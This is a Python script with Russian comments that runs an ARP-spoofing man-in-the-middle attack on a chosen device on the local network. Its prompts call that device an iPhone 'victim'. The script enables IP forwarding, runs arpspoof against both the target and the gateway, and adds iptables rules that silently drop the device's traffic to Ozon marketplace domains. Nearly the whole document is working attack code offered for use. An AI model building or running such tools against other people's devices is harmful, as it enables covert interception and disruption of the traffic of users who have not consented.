Загрузка данных


#!/usr/bin/env python3
import subprocess
import time
import socket
import sys
import os
import signal
import re
import threading

# Список доменов Ozon для блокировки
DOMAINS = [
    "ozon.ru",
    "www.ozon.ru",
    "api.ozon.ru",
    "api-seller.ozon.ru",
    "ozon-dostavka.ru",
    "seller.ozon.ru",
    "finance.ozon.ru",
    "business.ozon.ru",
    "card.ozon.ru",
]

# Глобальные переменные для завершения
arpspoof_pids = []
interface = ""
gateway_ip = ""
target_ip = ""

def run_command(cmd, check=True):
    """Запускает команду и возвращает вывод"""
    result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
    if check and result.returncode != 0:
        print(f"Ошибка: {result.stderr}")
        sys.exit(1)
    return result.stdout.strip()

def get_interface():
    """Возвращает имя активного Wi-Fi интерфейса"""
    try:
        output = run_command("ip route | grep default", check=False)
        if not output:
            print("Не удалось найти интерфейс по умолчанию. Укажите вручную.")
            return input("Введите имя интерфейса (например, wlan0): ").strip()
        # Извлекаем интерфейс из строки типа "default via 192.168.1.1 dev wlan0 ..."
        parts = output.split()
        for i, part in enumerate(parts):
            if part == "dev" and i+1 < len(parts):
                return parts[i+1]
        return None
    except:
        return input("Введите имя интерфейса (например, wlan0): ").strip()

def get_gateway():
    """Определяет IP-адрес шлюза"""
    try:
        output = run_command("ip route | grep default")
        # Извлекаем IP после "via"
        match = re.search(r'via (\d+\.\d+\.\d+\.\d+)', output)
        if match:
            return match.group(1)
        else:
            return None
    except:
        return None

def resolve_ip(domain):
    """Получает IP-адрес домена"""
    try:
        ip = socket.gethostbyname(domain)
        return ip
    except:
        return None

def enable_ip_forward():
    run_command("sudo sysctl -w net.ipv4.ip_forward=1")

def start_arpspoof():
    """Запускает arpspoof для жертвы и шлюза"""
    global arpspoof_pids
    cmd1 = f"sudo arpspoof -i {interface} -t {target_ip} {gateway_ip}"
    cmd2 = f"sudo arpspoof -i {interface} -t {gateway_ip} {target_ip}"
    
    # Запускаем в фоне с nohup (чтобы не блокировать)
    p1 = subprocess.Popen(cmd1, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    p2 = subprocess.Popen(cmd2, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    arpspoof_pids = [p1.pid, p2.pid]
    print("ARP-spoofing запущен.")

def setup_iptables_block(ip_list):
    """Настраивает iptables для блокировки списка IP-адресов"""
    print("Настройка iptables для блокировки Ozon...")
    # Разрешаем форвардинг
    run_command("sudo iptables -P FORWARD ACCEPT")
    # Добавляем блокирующие правила для каждого IP
    for ip in ip_list:
        if ip:
            run_command(f"sudo iptables -A FORWARD -d {ip} -j DROP")
            print(f"Блокировка {ip}")
    print("Готово.")

def cleanup():
    """Очищает iptables и убивает arpspoof"""
    print("Очистка...")
    # Удаляем все правила FORWARD
    run_command("sudo iptables -F FORWARD", check=False)
    # Убиваем процессы arpspoof
    for pid in arpspoof_pids:
        try:
            os.kill(pid, signal.SIGTERM)
        except:
            pass
    # Возвращаем политику FORWARD в DROP (по умолчанию)
    run_command("sudo iptables -P FORWARD DROP", check=False)
    print("Очистка завершена.")
    sys.exit(0)

def signal_handler(sig, frame):
    cleanup()

def main():
    global interface, gateway_ip, target_ip
    print("=== Блокировка Ozon на устройстве в локальной сети ===")
    print("Убедитесь, что вы запускаете скрипт от root (sudo).")
    
    # Проверяем права
    if os.geteuid() != 0:
        print("Запустите с sudo: sudo python3 block_ozon.py")
        sys.exit(1)

    # Определяем интерфейс
    interface = get_interface()
    if not interface:
        print("Не удалось определить интерфейс.")
        sys.exit(1)
    print(f"Интерфейс: {interface}")

    # Определяем шлюз
    gateway_ip = get_gateway()
    if not gateway_ip:
        gateway_ip = input("Введите IP-адрес шлюза (обычно 192.168.1.1): ").strip()
    print(f"Шлюз: {gateway_ip}")

    # Запрашиваем IP жертвы
    target_ip = input("Введите IP-адрес айфона (жертвы): ").strip()
    if not target_ip:
        print("IP не введён. Выход.")
        sys.exit(1)
    print(f"Цель: {target_ip}")

    # Получаем IP-адреса для блокировки
    print("Получение IP-адресов для доменов Ozon...")
    ip_list = set()
    for domain in DOMAINS:
        ip = resolve_ip(domain)
        if ip:
            ip_list.add(ip)
            print(f"{domain} -> {ip}")
        else:
            print(f"Не удалось разрешить {domain}")

    if not ip_list:
        print("Не удалось получить ни одного IP-адреса Ozon. Возможно, проблема с DNS.")
        sys.exit(1)

    print(f"Найдено {len(ip_list)} уникальных IP-адресов.")

    # Регистрируем обработчик сигнала для Ctrl+C
    signal.signal(signal.SIGINT, signal_handler)

    # Включаем IP-форвардинг
    enable_ip_forward()
    print("IP-форвардинг включен.")

    # Запускаем ARP-spoofing
    start_arpspoof()

    # Настраиваем iptables
    setup_iptables_block(list(ip_list))

    print("Блокировка активна. Нажмите Ctrl+C для остановки.")
    # Бесконечное ожидание
    while True:
        time.sleep(1)

if __name__ == "__main__":
    main()